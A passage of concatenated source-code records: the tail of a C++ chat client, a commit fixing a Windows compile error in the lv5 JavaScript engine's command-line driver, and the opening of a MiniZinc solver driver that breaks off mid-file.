is.\nbool ProcessInput(std::string input) {\n std::vector<std::string> inputs = StringSplit(input);\n bool result = true;\n\n if (inputs[0] == \"\/exit\") {\n RequestLogout();\n cooked_mode();\n result = false;\n } else if (inputs[0] == \"\/list\") {\n\n } else if (inputs[0] == \"\/join\") {\n\n } else if (inputs[0] == \"\/leave\") {\n\n } else if (inputs[0] == \"\/who\") {\n\n } else if (inputs[0] == \"\/switch\") {\n\n } else {\n std::cout << \"\\n*Unknown command\" << std::endl;\n }\n\n return result;\n}\n\n\nint main(int argc, char *argv[]) {\n char *domain;\n char *port_str;\n int port_num;\n char *username;\n char *input = (char *) \"\";\n char tmp_buffer[SAY_MAX];\n memset(&tmp_buffer, 0, SAY_MAX);\n\n char stdin_buffer[SAY_MAX + 1];\n char *stdin_buffer_position = stdin_buffer;\n\n\/\/ struct timeval timeout;\n fd_set read_set;\n\/\/ int file_desc = 0;\n int result;\n char receive_buffer[kBufferSize];\n memset(&receive_buffer, 0, kBufferSize);\n\n\/\/ char stdin_buffer[kBufferSize];\n\/\/ memset(&stdin_buffer, 0, kBufferSize);\n\n if (argc < 4) {\n Error(\"usage: client [server name] [port] [username]\");\n }\n\n domain = argv[1];\n port_str = argv[2];\n port_num = atoi(argv[2]);\n username = argv[3];\n\n if (strlen(domain) > UNIX_PATH_MAX) {\n Error(\"client: server name must be less than 108 characters\");\n }\n\n if (port_num < 0 || port_num > 65535) {\n Error(\"client: port number must be between 0 and 65535\");\n }\n\n if (strlen(username) > USERNAME_MAX) {\n Error(\"client: username must be less than 32 characters\");\n }\n\n Connect(domain, port_str);\n\n RequestLogin(username);\n\n channel = (char *) \"Common\";\n RequestJoin(channel);\n\n \/\/ TODO handle response from send\n\n if (raw_mode() != 0){\n Error(\"client: error using raw mode\");\n }\n\n std::cout << \">\" << std::flush;\n\n while (1) {\n FD_ZERO(&read_set);\n FD_SET(client_socket, &read_set);\n FD_SET(STDIN_FILENO, &read_set);\n\n if ((result = select(client_socket + 1, &read_set, NULL, NULL, NULL)) < 0) {\n Error(\"client: problem using select\");\n }\n\n if (result > 0) {\n if (FD_ISSET(STDIN_FILENO, &read_set)) {\n char c = (char) getchar();\n if (c == '\\n') {\n *stdin_buffer_position++ = '\\0';\n stdin_buffer_position = stdin_buffer;\n printf(\"\\n\");\n fflush(stdout);\n input = stdin_buffer;\n\n if (input[0] == '\/') {\n if (!ProcessInput(input)) {\n break;\n }\n } else {\n \/\/ Send chat messages\n RequestSay(input);\n }\n } else if (stdin_buffer_position != stdin_buffer + SAY_MAX) {\n *stdin_buffer_position++ = c;\n printf(\"%c\", c); \/\/ cout does not work\n fflush(stdout);\n }\n } else if (FD_ISSET(client_socket, &read_set)) {\n \/\/ Socket has data\n int read_size = read(client_socket, receive_buffer, kBufferSize);\n\n if (read_size != 0) {\n \/\/ TODO capture user input, store, clean input, then print buffer, afterward replace input\n struct text message;\n memcpy(&message, receive_buffer, sizeof(struct text));\n text_t text_type = message.txt_type;\n\n switch (text_type) {\n case TXT_SAY:\n struct text_say say;\n memcpy(&say, receive_buffer, sizeof(struct text_say));\n std::cout << \"\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\";\n std::cout << \"[\" << say.txt_channel << \"]\" << \"[\" << say.txt_username << \"]: \" << say.txt_text << std::endl;\n std::cout << \">\" << input << std::flush;\n input = (char *) \"\";\n break;\n default:\n break;\n }\n }\n\n memset(&receive_buffer, 0, SAY_MAX);\n } \/\/ end of if client_socket\n\n } \/\/ end of if result\n\n } \/\/ end of while\n\n return 0;\n}<|endoftext|>"} {"text":"<commit_before>#include <cstdio>\n#include <cstdlib>\n#include <locale>\n#include <string>\n#include <vector>\n#include <iv\/stringpiece.h>\n#include <iv\/ustringpiece.h>\n#include <iv\/about.h>\n#include <iv\/cmdline.h>\n#include <iv\/lv5\/lv5.h>\n#include <iv\/lv5\/railgun\/command.h>\n#include <iv\/lv5\/railgun\/interactive.h>\n#include <iv\/lv5\/teleporter\/interactive.h>\n#include <iv\/lv5\/melt\/melt.h>\n#if defined(IV_OS_MACOSX) || defined(IV_OS_LINUX) || defined(IV_OS_BSD)\n#include <signal.h>\n#endif\n\nnamespace {\n\nvoid InitContext(iv::lv5::Context* ctx) {\n iv::lv5::Error::Dummy dummy;\n ctx->DefineFunction<&iv::lv5::Print, 1>(\"print\");\n ctx->DefineFunction<&iv::lv5::Log, 1>(\"log\"); \/\/ this is simply output log function\n ctx->DefineFunction<&iv::lv5::Quit, 1>(\"quit\");\n ctx->DefineFunction<&iv::lv5::CollectGarbage, 0>(\"gc\");\n ctx->DefineFunction<&iv::lv5::HiResTime, 0>(\"HiResTime\");\n ctx->DefineFunction<&iv::lv5::railgun::Dis, 1>(\"dis\");\n ctx->DefineFunction<&iv::lv5::breaker::Run, 0>(\"run\");\n iv::lv5::melt::Console::Export(ctx, &dummy);\n}\n\n#if defined(IV_ENABLE_JIT)\nint BreakerExecute(const iv::core::StringPiece& data,\n const std::string& filename, bool statistics) {\n iv::lv5::Error::Standard e;\n iv::lv5::breaker::Context ctx;\n InitContext(&ctx);\n std::shared_ptr<iv::core::FileSource>\n src(new iv::core::FileSource(data, filename));\n iv::lv5::breaker::ExecuteInGlobal(&ctx, src, &e);\n if (e) {\n e.Dump(&ctx, stderr);\n return EXIT_FAILURE;\n }\n ctx.Validate();\n return EXIT_SUCCESS;\n}\n\nint BreakerExecuteFiles(const std::vector<std::string>& filenames) {\n iv::lv5::Error::Standard e;\n iv::lv5::breaker::Context ctx;\n InitContext(&ctx);\n\n std::vector<char> res;\n for (std::vector<std::string>::const_iterator it = filenames.begin(),\n last = filenames.end(); it != last; ++it) {\n if (!iv::core::ReadFile(*it, &res)) {\n return EXIT_FAILURE;\n }\n std::shared_ptr<iv::core::FileSource>\n src(new iv::core::FileSource(\n iv::core::StringPiece(res.data(), res.size()), *it));\n res.clear();\n iv::lv5::breaker::ExecuteInGlobal(&ctx, src, &e);\n if (e) {\n e.Dump(&ctx, stderr);\n return EXIT_FAILURE;\n }\n }\n ctx.Validate();\n return EXIT_SUCCESS;\n}\n#endif\n\nint RailgunExecute(const iv::core::StringPiece& data,\n const std::string& filename, bool statistics) {\n iv::lv5::Error::Standard e;\n iv::lv5::railgun::Context ctx;\n InitContext(&ctx);\n\n std::shared_ptr<iv::core::FileSource>\n src(new iv::core::FileSource(data, filename));\n iv::lv5::railgun::ExecuteInGlobal(&ctx, src, &e);\n if (e) {\n e.Dump(&ctx, stderr);\n return EXIT_FAILURE;\n }\n if (statistics) {\n ctx.vm()->DumpStatistics();\n }\n ctx.Validate();\n return EXIT_SUCCESS;\n}\n\nint RailgunExecuteFiles(const std::vector<std::string>& filenames) {\n iv::lv5::Error::Standard e;\n iv::lv5::railgun::Context ctx;\n InitContext(&ctx);\n\n std::vector<char> res;\n for (std::vector<std::string>::const_iterator it = filenames.begin(),\n last = filenames.end(); it != last; ++it) {\n if (!iv::core::ReadFile(*it, &res)) {\n return EXIT_FAILURE;\n }\n std::shared_ptr<iv::core::FileSource>\n src(new iv::core::FileSource(\n iv::core::StringPiece(res.data(), res.size()), *it));\n res.clear();\n iv::lv5::railgun::ExecuteInGlobal(&ctx, src, &e);\n if (e) {\n e.Dump(&ctx, stderr);\n return EXIT_FAILURE;\n }\n }\n ctx.Validate();\n return EXIT_SUCCESS;\n}\n\nint DisAssemble(const iv::core::StringPiece& data,\n const std::string& filename) {\n iv::lv5::railgun::Context ctx;\n iv::lv5::Error::Standard e;\n std::shared_ptr<iv::core::FileSource>\n src(new iv::core::FileSource(data, filename));\n iv::lv5::railgun::Code* code =\n iv::lv5::railgun::CompileInGlobal(&ctx, src, true, &e);\n if (e) {\n return EXIT_FAILURE;\n }\n iv::lv5::railgun::OutputDisAssembler dis(&ctx, stdout);\n dis.DisAssembleGlobal(*code);\n return EXIT_SUCCESS;\n}\n\nint Interpret(const iv::core::StringPiece& data, const std::string& filename) {\n iv::core::FileSource src(data, filename);\n iv::lv5::teleporter::Context ctx;\n iv::lv5::AstFactory factory(&ctx);\n iv::core::Parser<iv::lv5::AstFactory,\n iv::core::FileSource> parser(&factory,\n src, ctx.symbol_table());\n const iv::lv5::FunctionLiteral* const global = parser.ParseProgram();\n\n if (!global) {\n std::fprintf(stderr, \"%s\\n\", parser.error().c_str());\n return EXIT_FAILURE;\n }\n ctx.DefineFunction<&iv::lv5::Print, 1>(\"print\");\n ctx.DefineFunction<&iv::lv5::Quit, 1>(\"quit\");\n ctx.DefineFunction<&iv::lv5::HiResTime, 0>(\"HiResTime\");\n iv::lv5::teleporter::JSScript* const script =\n iv::lv5::teleporter::JSGlobalScript::New(&ctx, global, &factory, &src);\n if (ctx.Run(script)) {\n ctx.error()->Dump(&ctx, stderr);\n return EXIT_FAILURE;\n }\n return EXIT_SUCCESS;\n}\n\nint Ast(const iv::core::StringPiece& data, const std::string& filename) {\n iv::core::FileSource src(data, filename);\n iv::lv5::railgun::Context ctx;\n iv::lv5::AstFactory factory(&ctx);\n iv::core::Parser<iv::lv5::AstFactory,\n iv::core::FileSource> parser(&factory,\n src, ctx.symbol_table());\n const iv::lv5::FunctionLiteral* const global = parser.ParseProgram();\n\n if (!global) {\n std::fprintf(stderr, \"%s\\n\", parser.error().c_str());\n return EXIT_FAILURE;\n }\n iv::core::ast::AstSerializer<iv::lv5::AstFactory> ser;\n ser.Visit(global);\n const iv::core::UString str = ser.out();\n iv::core::unicode::FPutsUTF16(stdout, str.begin(), str.end());\n return EXIT_SUCCESS;\n}\n\n} \/\/ namespace anonymous\n\nint main(int argc, char **argv) {\n iv::lv5::FPU fpu;\n iv::lv5::program::Init(argc, argv);\n iv::lv5::Init();\n\n iv::cmdline::Parser cmd(\"lv5\");\n\n cmd.Add(\"help\",\n \"help\",\n 'h', \"print this message\");\n cmd.Add(\"version\",\n \"version\",\n 'v', \"print the version\");\n cmd.AddList<std::string>(\n \"file\",\n \"file\",\n 'f', \"script file to load\");\n cmd.Add(\"signal\",\n \"\",\n 's', \"install signal handlers\");\n cmd.Add<std::string>(\n \"execute\",\n \"execute\",\n 'e', \"execute command\", false);\n cmd.Add(\"ast\",\n \"ast\",\n 0, \"print ast\");\n cmd.Add(\"interp\",\n \"interp\",\n 0, \"use interpreter\");\n cmd.Add(\"railgun\",\n \"railgun\",\n 0, \"force railgun VM\");\n cmd.Add(\"dis\",\n \"dis\",\n 'd', \"print bytecode\");\n cmd.Add(\"statistics\",\n \"statistics\",\n 0, \"print statistics\");\n cmd.Add(\"copyright\",\n \"copyright\",\n 0, \"print the copyright\");\n cmd.set_footer(\"[program_file] [arguments]\");\n\n const bool cmd_parse_success = cmd.Parse(argc, argv);\n if (!cmd_parse_success) {\n std::fprintf(stderr, \"%s\\n%s\",\n cmd.error().c_str(), cmd.usage().c_str());\n return EXIT_FAILURE;\n }\n\n if (cmd.Exist(\"help\")) {\n std::fputs(cmd.usage().c_str(), stdout);\n return EXIT_SUCCESS;\n }\n\n if (cmd.Exist(\"version\")) {\n std::printf(\"lv5 %s (compiled %s %s)\\n\", IV_VERSION, __DATE__, __TIME__);\n return EXIT_SUCCESS;\n }\n\n if (cmd.Exist(\"copyright\")) {\n std::printf(\"lv5 - %s\\n\", IV_COPYRIGHT);\n return EXIT_SUCCESS;\n }\n\n if (cmd.Exist(\"signal\")) {\n#if defined(IV_OS_MACOSX) || defined(IV_OS_LINUX) || defined(IV_OS_BSD)\n signal(SIGILL, _exit);\n signal(SIGFPE, _exit);\n signal(SIGBUS, _exit);\n signal(SIGSEGV, _exit);\n#endif\n }\n\n const std::vector<std::string>& rest = cmd.rest();\n if (!rest.empty() || cmd.Exist(\"file\") || cmd.Exist(\"execute\")) {\n std::vector<char> res;\n std::string filename;\n if (cmd.Exist(\"file\")) {\n const std::vector<std::string>& vec = cmd.GetList<std::string>(\"file\");\n if (!cmd.Exist(\"ast\") && !cmd.Exist(\"dis\") && !cmd.Exist(\"interp\")) {\n if (cmd.Exist(\"railgun\")) {\n return RailgunExecuteFiles(vec);\n }\n#if defined(IV_ENABLE_JIT)\n return BreakerExecuteFiles(vec);\n#else\n return RailgunExecuteFiles(vec);\n#endif\n }\n for (std::vector<std::string>::const_iterator it = vec.begin(),\n last = vec.end(); it != last; ++it, filename.push_back(' ')) {\n filename.append(*it);\n if (!iv::core::ReadFile(*it, &res)) {\n return EXIT_FAILURE;\n }\n }\n } else if (cmd.Exist(\"execute\")) {\n const std::string& com = cmd.Get<std::string>(\"execute\");\n filename = \"<command>\";\n res.insert(res.end(), com.begin(), com.end());\n } else {\n filename = rest.front();\n if (!iv::core::ReadFile(filename, &res)) {\n return EXIT_FAILURE;\n }\n }\n const iv::core::StringPiece src(res.data(), res.size());\n if (cmd.Exist(\"ast\")) {\n return Ast(src, filename);\n } else if (cmd.Exist(\"dis\")) {\n return DisAssemble(src, filename);\n } else if (cmd.Exist(\"interp\")) {\n return Interpret(src, filename);\n } else if (cmd.Exist(\"railgun\")) {\n return RailgunExecute(src, filename, cmd.Exist(\"statistics\"));\n } else {\n#if defined(IV_ENABLE_JIT)\n return BreakerExecute(src, filename, cmd.Exist(\"statistics\"));\n#else\n return RailgunExecute(src, filename, cmd.Exist(\"statistics\"));\n#endif\n }\n } else {\n \/\/ Interactive Shell Mode\n if (cmd.Exist(\"interp\")) {\n iv::lv5::teleporter::Interactive shell;\n return shell.Run();\n } else {\n iv::lv5::railgun::Interactive shell(cmd.Exist(\"dis\"));\n return shell.Run();\n }\n }\n return 0;\n}\n<commit_msg>Fix compile error in Windows<commit_after>#include <cstdio>\n#include <cstdlib>\n#include <locale>\n#include <string>\n#include <vector>\n#include <iv\/stringpiece.h>\n#include <iv\/ustringpiece.h>\n#include <iv\/about.h>\n#include <iv\/cmdline.h>\n#include <iv\/lv5\/lv5.h>\n#include <iv\/lv5\/teleporter\/interactive.h>\n#include <iv\/lv5\/railgun\/command.h>\n#include <iv\/lv5\/railgun\/interactive.h>\n#include <iv\/lv5\/breaker\/command.h>\n#include <iv\/lv5\/melt\/melt.h>\n#if defined(IV_OS_MACOSX) || defined(IV_OS_LINUX) || defined(IV_OS_BSD)\n#include <signal.h>\n#endif\n\nnamespace {\n\nvoid InitContext(iv::lv5::Context* ctx) {\n iv::lv5::Error::Dummy dummy;\n ctx->DefineFunction<&iv::lv5::Print, 1>(\"print\");\n ctx->DefineFunction<&iv::lv5::Log, 1>(\"log\"); \/\/ this is simply output log function\n ctx->DefineFunction<&iv::lv5::Quit, 1>(\"quit\");\n ctx->DefineFunction<&iv::lv5::CollectGarbage, 0>(\"gc\");\n ctx->DefineFunction<&iv::lv5::HiResTime, 0>(\"HiResTime\");\n ctx->DefineFunction<&iv::lv5::railgun::Dis, 1>(\"dis\");\n ctx->DefineFunction<&iv::lv5::breaker::Run, 0>(\"run\");\n iv::lv5::melt::Console::Export(ctx, &dummy);\n}\n\n#if defined(IV_ENABLE_JIT)\nint BreakerExecute(const iv::core::StringPiece& data,\n const std::string& filename, bool statistics) {\n iv::lv5::Error::Standard e;\n iv::lv5::breaker::Context ctx;\n InitContext(&ctx);\n std::shared_ptr<iv::core::FileSource>\n src(new iv::core::FileSource(data, filename));\n iv::lv5::breaker::ExecuteInGlobal(&ctx, src, &e);\n if (e) {\n e.Dump(&ctx, stderr);\n return EXIT_FAILURE;\n }\n ctx.Validate();\n return EXIT_SUCCESS;\n}\n\nint BreakerExecuteFiles(const std::vector<std::string>& filenames) {\n iv::lv5::Error::Standard e;\n iv::lv5::breaker::Context ctx;\n InitContext(&ctx);\n\n std::vector<char> res;\n for (std::vector<std::string>::const_iterator it = filenames.begin(),\n last = filenames.end(); it != last; ++it) {\n if (!iv::core::ReadFile(*it, &res)) {\n return EXIT_FAILURE;\n }\n std::shared_ptr<iv::core::FileSource>\n src(new iv::core::FileSource(\n iv::core::StringPiece(res.data(), res.size()), *it));\n res.clear();\n iv::lv5::breaker::ExecuteInGlobal(&ctx, src, &e);\n if (e) {\n e.Dump(&ctx, stderr);\n return EXIT_FAILURE;\n }\n }\n ctx.Validate();\n return EXIT_SUCCESS;\n}\n#endif\n\nint RailgunExecute(const iv::core::StringPiece& data,\n const std::string& filename, bool statistics) {\n iv::lv5::Error::Standard e;\n iv::lv5::railgun::Context ctx;\n InitContext(&ctx);\n\n std::shared_ptr<iv::core::FileSource>\n src(new iv::core::FileSource(data, filename));\n iv::lv5::railgun::ExecuteInGlobal(&ctx, src, &e);\n if (e) {\n e.Dump(&ctx, stderr);\n return EXIT_FAILURE;\n }\n if (statistics) {\n ctx.vm()->DumpStatistics();\n }\n ctx.Validate();\n return EXIT_SUCCESS;\n}\n\nint RailgunExecuteFiles(const std::vector<std::string>& filenames) {\n iv::lv5::Error::Standard e;\n iv::lv5::railgun::Context ctx;\n InitContext(&ctx);\n\n std::vector<char> res;\n for (std::vector<std::string>::const_iterator it = filenames.begin(),\n last = filenames.end(); it != last; ++it) {\n if (!iv::core::ReadFile(*it, &res)) {\n return EXIT_FAILURE;\n }\n std::shared_ptr<iv::core::FileSource>\n src(new iv::core::FileSource(\n iv::core::StringPiece(res.data(), res.size()), *it));\n res.clear();\n iv::lv5::railgun::ExecuteInGlobal(&ctx, src, &e);\n if (e) {\n e.Dump(&ctx, stderr);\n return EXIT_FAILURE;\n }\n }\n ctx.Validate();\n return EXIT_SUCCESS;\n}\n\nint DisAssemble(const iv::core::StringPiece& data,\n const std::string& filename) {\n iv::lv5::railgun::Context ctx;\n iv::lv5::Error::Standard e;\n std::shared_ptr<iv::core::FileSource>\n src(new iv::core::FileSource(data, filename));\n iv::lv5::railgun::Code* code =\n iv::lv5::railgun::CompileInGlobal(&ctx, src, true, &e);\n if (e) {\n return EXIT_FAILURE;\n }\n iv::lv5::railgun::OutputDisAssembler dis(&ctx, stdout);\n dis.DisAssembleGlobal(*code);\n return EXIT_SUCCESS;\n}\n\nint Interpret(const iv::core::StringPiece& data, const std::string& filename) {\n iv::core::FileSource src(data, filename);\n iv::lv5::teleporter::Context ctx;\n iv::lv5::AstFactory factory(&ctx);\n iv::core::Parser<iv::lv5::AstFactory,\n iv::core::FileSource> parser(&factory,\n src, ctx.symbol_table());\n const iv::lv5::FunctionLiteral* const global = parser.ParseProgram();\n\n if (!global) {\n std::fprintf(stderr, \"%s\\n\", parser.error().c_str());\n return EXIT_FAILURE;\n }\n ctx.DefineFunction<&iv::lv5::Print, 1>(\"print\");\n ctx.DefineFunction<&iv::lv5::Quit, 1>(\"quit\");\n ctx.DefineFunction<&iv::lv5::HiResTime, 0>(\"HiResTime\");\n iv::lv5::teleporter::JSScript* const script =\n iv::lv5::teleporter::JSGlobalScript::New(&ctx, global, &factory, &src);\n if (ctx.Run(script)) {\n ctx.error()->Dump(&ctx, stderr);\n return EXIT_FAILURE;\n }\n return EXIT_SUCCESS;\n}\n\nint Ast(const iv::core::StringPiece& data, const std::string& filename) {\n iv::core::FileSource src(data, filename);\n iv::lv5::railgun::Context ctx;\n iv::lv5::AstFactory factory(&ctx);\n iv::core::Parser<iv::lv5::AstFactory,\n iv::core::FileSource> parser(&factory,\n src, ctx.symbol_table());\n const iv::lv5::FunctionLiteral* const global = parser.ParseProgram();\n\n if (!global) {\n std::fprintf(stderr, \"%s\\n\", parser.error().c_str());\n return EXIT_FAILURE;\n }\n iv::core::ast::AstSerializer<iv::lv5::AstFactory> ser;\n ser.Visit(global);\n const iv::core::UString str = ser.out();\n iv::core::unicode::FPutsUTF16(stdout, str.begin(), str.end());\n return EXIT_SUCCESS;\n}\n\n} \/\/ namespace anonymous\n\nint main(int argc, char **argv) {\n iv::lv5::FPU fpu;\n iv::lv5::program::Init(argc, argv);\n iv::lv5::Init();\n\n iv::cmdline::Parser cmd(\"lv5\");\n\n cmd.Add(\"help\",\n \"help\",\n 'h', \"print this message\");\n cmd.Add(\"version\",\n \"version\",\n 'v', \"print the version\");\n cmd.AddList<std::string>(\n \"file\",\n \"file\",\n 'f', \"script file to load\");\n cmd.Add(\"signal\",\n \"\",\n 's', \"install signal handlers\");\n cmd.Add<std::string>(\n \"execute\",\n \"execute\",\n 'e', \"execute command\", false);\n cmd.Add(\"ast\",\n \"ast\",\n 0, \"print ast\");\n cmd.Add(\"interp\",\n \"interp\",\n 0, \"use interpreter\");\n cmd.Add(\"railgun\",\n \"railgun\",\n 0, \"force railgun VM\");\n cmd.Add(\"dis\",\n \"dis\",\n 'd', \"print bytecode\");\n cmd.Add(\"statistics\",\n \"statistics\",\n 0, \"print statistics\");\n cmd.Add(\"copyright\",\n \"copyright\",\n 0, \"print the copyright\");\n cmd.set_footer(\"[program_file] [arguments]\");\n\n const bool cmd_parse_success = cmd.Parse(argc, argv);\n if (!cmd_parse_success) {\n std::fprintf(stderr, \"%s\\n%s\",\n cmd.error().c_str(), cmd.usage().c_str());\n return EXIT_FAILURE;\n }\n\n if (cmd.Exist(\"help\")) {\n std::fputs(cmd.usage().c_str(), stdout);\n return EXIT_SUCCESS;\n }\n\n if (cmd.Exist(\"version\")) {\n std::printf(\"lv5 %s (compiled %s %s)\\n\", IV_VERSION, __DATE__, __TIME__);\n return EXIT_SUCCESS;\n }\n\n if (cmd.Exist(\"copyright\")) {\n std::printf(\"lv5 - %s\\n\", IV_COPYRIGHT);\n return EXIT_SUCCESS;\n }\n\n if (cmd.Exist(\"signal\")) {\n#if defined(IV_OS_MACOSX) || defined(IV_OS_LINUX) || defined(IV_OS_BSD)\n signal(SIGILL, _exit);\n signal(SIGFPE, _exit);\n signal(SIGBUS, _exit);\n signal(SIGSEGV, _exit);\n#endif\n }\n\n const std::vector<std::string>& rest = cmd.rest();\n if (!rest.empty() || cmd.Exist(\"file\") || cmd.Exist(\"execute\")) {\n std::vector<char> res;\n std::string filename;\n if (cmd.Exist(\"file\")) {\n const std::vector<std::string>& vec = cmd.GetList<std::string>(\"file\");\n if (!cmd.Exist(\"ast\") && !cmd.Exist(\"dis\") && !cmd.Exist(\"interp\")) {\n if (cmd.Exist(\"railgun\")) {\n return RailgunExecuteFiles(vec);\n }\n#if defined(IV_ENABLE_JIT)\n return BreakerExecuteFiles(vec);\n#else\n return RailgunExecuteFiles(vec);\n#endif\n }\n for (std::vector<std::string>::const_iterator it = vec.begin(),\n last = vec.end(); it != last; ++it, filename.push_back(' ')) {\n filename.append(*it);\n if (!iv::core::ReadFile(*it, &res)) {\n return EXIT_FAILURE;\n }\n }\n } else if (cmd.Exist(\"execute\")) {\n const std::string& com = cmd.Get<std::string>(\"execute\");\n filename = \"<command>\";\n res.insert(res.end(), com.begin(), com.end());\n } else {\n filename = rest.front();\n if (!iv::core::ReadFile(filename, &res)) {\n return EXIT_FAILURE;\n }\n }\n const iv::core::StringPiece src(res.data(), res.size());\n if (cmd.Exist(\"ast\")) {\n return Ast(src, filename);\n } else if (cmd.Exist(\"dis\")) {\n return DisAssemble(src, filename);\n } else if (cmd.Exist(\"interp\")) {\n return Interpret(src, filename);\n } else if (cmd.Exist(\"railgun\")) {\n return RailgunExecute(src, filename, cmd.Exist(\"statistics\"));\n } else {\n#if defined(IV_ENABLE_JIT)\n return BreakerExecute(src, filename, cmd.Exist(\"statistics\"));\n#else\n return RailgunExecute(src, filename, cmd.Exist(\"statistics\"));\n#endif\n }\n } else {\n \/\/ Interactive Shell Mode\n if (cmd.Exist(\"interp\")) {\n iv::lv5::teleporter::Interactive shell;\n return shell.Run();\n } else {\n iv::lv5::railgun::Interactive shell(cmd.Exist(\"dis\"));\n return shell.Run();\n }\n }\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before> \n\/* -*- mode: C++; c-basic-offset: 2; indent-tabs-mode: nil -*- *\/\n\n\/*\n * Main authors:\n * Guido Tack <guido.tack@monash.edu>\n * Gleb Belov <gleb.belov@monash.edu>\n *\/\n\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n\/* This (main) file coordinates flattening and solving.\n * The corresponding modules are flexibly plugged in\n * as derived classes, prospectively from DLLs.\n * A flattening module should provide MinZinc::GetFlattener()\n * A solving module should provide an object of a class derived from SolverFactory.\n * Need to get more flexible for multi-pass & multi-solving stuff TODO\n *\/\n\n\n#ifdef _MSC_VER \n#define _CRT_SECURE_NO_WARNINGS\n#endif\n\n#include <iostream>\n#include <fstream>\n#include <iomanip>\n#include <cstdlib>\n\nusing namespace std;\n\n#include <minizinc\/solver.hh>\n\nusing namespace MiniZinc;\n\nint main(int argc, const char** argv) {\n clock_t starttime = std::clock(), endTime;\n bool fSuccess = false;\n \n MznSolver slv;\n try {\n \n slv.addFlattener();\n if (!slv.processOptions(argc, argv)) {\n slv.printHelp();\n exit(EXIT_FAILURE);\n }\n slv.flatten();\n \n if (SolverInstance::UNKNOWN == slv.getFlt()->status)\n {\n fSuccess = true;\n if ( !slv.ifMzn2Fzn() ) { \/\/ only then\n GCLock lock;\n slv.addSolverInterface();\n slv.solve();\n }\n } else if (SolverInstance::ERROR == slv.getFlt()->status) {\n\/\/ slv.s2out.evalStatus( slv.getFlt()->status );\n } else {\n fSuccess = true;\n\/\/ slv.s2out.evalStatus( slv.getFlt()->status );\n } \/\/ TODO Move evalOutput() here?\n } catch (const LocationException& e) {\n if (slv.get_flag_verbose())\n std::cerr << std::endl;\n std::cerr << e.loc() << \":\" << std::endl;\n std::cerr << e.what() << \": \" << e.msg() << std::endl;\n slv.s2out.evalStatus( SolverInstance::ERROR );\n } catch (const Exception& e) {\n if (slv.get_flag_verbose())\n std::cerr << std::endl;\n std::cerr << e.what() << \": \" << e.msg() << std::endl;\n slv.s2out.evalStatus( SolverInstance::ERROR );\n }\n catch (const exception& e) {\n if (slv.get_flag_verbose())\n std::cerr << std::endl;\n std::cerr << e.what() << std::endl;\n slv.s2out.evalStatus( SolverInstance::ERROR );\n }\n catch (...) {\n if (slv.get_flag_verbose())\n std::cerr << std::endl;\n std::cerr << \" UNKNOWN EXCEPTION.\" << std::endl;\n slv.s2out.evalStatus( SolverInstance::ERROR );\n }\n\n if ( !slv.ifMzn2Fzn() ) {\n endTime = clock();\n if (slv.get_flag_verbose()) {\n std::cerr << \" Done (\";\n cerr << \"overall time \" << timeDiff(endTime, starttime) << \").\" << std::endl;\n }\n }\n return !fSuccess;\n} \/\/ int main()\n\n\/\/ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nSolverRegistry* MiniZinc::getGlobalSolverRegistry()\n{\n static SolverRegistry sr;\n return &sr;\n}\n\nvoid SolverRegistry::addSolverFactory(SolverFactory* pSF)\n{\n assert(pSF);\n sfstorage.push_back(pSF);\n}\n\nvoid SolverRegistry::removeSolverFactory(SolverFactory* pSF)\n{\n auto it = find(sfstorage.begin(), sfstorage.end(), pSF);\n assert(pSF);\n sfstorage.erase(it);\n}\n\n\/\/\/ Function createSI also adds each SI to the local storage\nSolverInstanceBase * SolverFactory::createSI(Env& env) {\n SolverInstanceBase *pSI = doCreateSI(env);\n if (!pSI) {\n cerr << \" SolverFactory: failed to initialize solver \"\n << getVersion() << endl;\n throw InternalError(\" SolverFactory: failed to initialize solver\");\n }\n sistorage.resize(sistorage.size()+1);\n sistorage.back().reset(pSI);\n return pSI;\n}\n\n\/\/\/ also providing a destroy function for a DLL or just special allocator etc.\nvoid SolverFactory::destroySI(SolverInstanceBase * pSI) {\n auto it = sistorage.begin();\n for ( ; it != sistorage.end(); ++ it)\n if (it->get() == pSI)\n break;\n if (sistorage.end() == it) {\n cerr << \" SolverFactory: failed to remove solver at \"\n << pSI << endl;\n throw InternalError(\" SolverFactory: failed to remove solver\");\n }\n sistorage.erase(it);\n}\n\n\nMznSolver::~MznSolver()\n{\n\/\/ if (si) \/\/ first the solver\n\/\/ CleanupSolverInterface(si);\n \/\/ TODO cleanup the used solver interfaces\n si=0;\n if (flt)\n cleanupGlobalFlattener(flt);\n flt=0;\n}\n\nbool MznSolver::ifMzn2Fzn() {\n#ifdef FLATTEN_ONLY\n return true;\n#else\n return 0==getNSolvers();\n#endif\n}\n\nvoid MznSolver::addFlattener()\n{\n flt = getGlobalFlattener(ifMzn2Fzn());\n assert(flt);\n}\n\nvoid MznSolver::addSolverInterface()\n{\n assert(getGlobalSolverRegistry()->getSolverFactories().size());\n si = getGlobalSolverRegistry()->getSolverFactories().front()->createSI(*flt->getEnv());\n assert(si);\n s2out.initFromEnv( flt->getEnv() );\n si->setSolns2Out( &s2out );\n if (get_flag_verbose())\n cerr\n\/\/ << \" ---------------------------------------------------------------------------\\n\"\n << \" % SOLVING PHASE\\n\"\n << getGlobalSolverRegistry()->getSolverFactories().front()->getVersion() << endl; \n}\n\nvoid MznSolver::printHelp()\n{\n if ( !ifMzn2Fzn() )\n cout\n << \"NICTA MiniZinc driver.\\n\"\n << \"Usage: <executable>\" \/\/<< argv[0]\n << \" [<options>] [-I <include path>] <model>.mzn [<data>.dzn ...] or just <flat>.fzn\" << std::endl;\n else\n cout\n << \"NICTA MiniZinc to FlatZinc converter.\\n\"\n << \"Usage: <executable>\" \/\/<< argv[0]\n << \" [<options>] [-I <include path>] <model>.mzn [<data>.dzn ...]\" << std::endl;\n cout\n << \"Options:\" << std::endl\n << \" --help, -h\\n Print this help message.\" << std::endl\n << \" --version\\n Print version information.\" << std::endl\n << \" -v, -l, --verbose\\n Print progress\/log statements. Note that some solvers may log to stdout.\" << std::endl\n << \" -s, --statistics\\n Print statistics.\" << std::endl;\n\/\/ if ( getNSolvers() )\n \n getFlt()->printHelp(cout);\n cout << endl;\n if ( !ifMzn2Fzn() ) {\n s2out.printHelp(cout);\n cout << endl;\n }\n for (auto it 